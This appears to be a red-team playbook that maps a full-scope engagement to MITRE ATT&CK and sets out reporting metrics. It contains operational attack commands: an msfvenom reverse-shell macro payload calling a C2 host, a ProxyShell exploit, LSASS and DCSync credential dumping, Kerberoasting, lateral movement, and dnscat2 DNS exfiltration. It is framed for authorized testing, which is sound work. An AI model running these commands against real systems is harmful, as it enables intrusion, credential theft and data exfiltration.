| name | conducting-full-scope-red-team-engagement |
| description | Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","adversary-emulation","mitre-attack","penetration-testing","offensive-security","purple-team","ttp-mapping"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | ["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
| mitre_attack | ["T1566.001","T1059.001","T1078","T1071.001"] |
Conducting Full-Scope Red Team Engagement
Overview
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
When to Use
- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization (Rules of Engagement document) signed by executive leadership
- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
Engagement Phases
Phase 1: Planning and Threat Modeling
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
|---|
| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
Phase 2: Reconnaissance (OSINT)
amass enum -passive -d target.com -o amass_passive.txt
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
whatweb -v target.com --log-json=whatweb.json
h8mail -t target.com -o h8mail_results.csv
Phase 3: Initial Access
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
gophish --config config.json
External Service Exploitation (T1190):
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
Phase 4: Post-Exploitation and Lateral Movement
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
Phase 5: Objective Achievement
Define and pursue specific objectives:
- Domain Dominance: Achieve Domain Admin access and DCSync credentials
- Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
- Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
- Physical Access: Badge cloning, tailgating, server room access
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
Phase 6: Reporting and Debrief
The report should include:
- Executive Summary: Business impact, risk rating, key findings
- Attack Narrative: Timeline of activities with screenshots and evidence
- MITRE ATT&CK Mapping: Full heat map of techniques used
- Findings: Each finding with CVSS score, evidence, remediation
- Detection Gap Analysis: What the SOC detected vs. what was missed
- Purple Team Recommendations: Specific detection rules for gaps identified
Metrics and KPIs
| Metric | Description |
|---|
| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
| Mean Time to Respond (MTTR) | Average time from detection to containment |
| TTP Coverage | Percentage of executed techniques detected |
| Objective Achievement Rate | Percentage of defined objectives completed |
| Dwell Time | Total time red team maintained access undetected |
Tools and Frameworks
- C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
- Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
- Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
- Reporting: PlexTrac, Ghostwriter, Serpico
References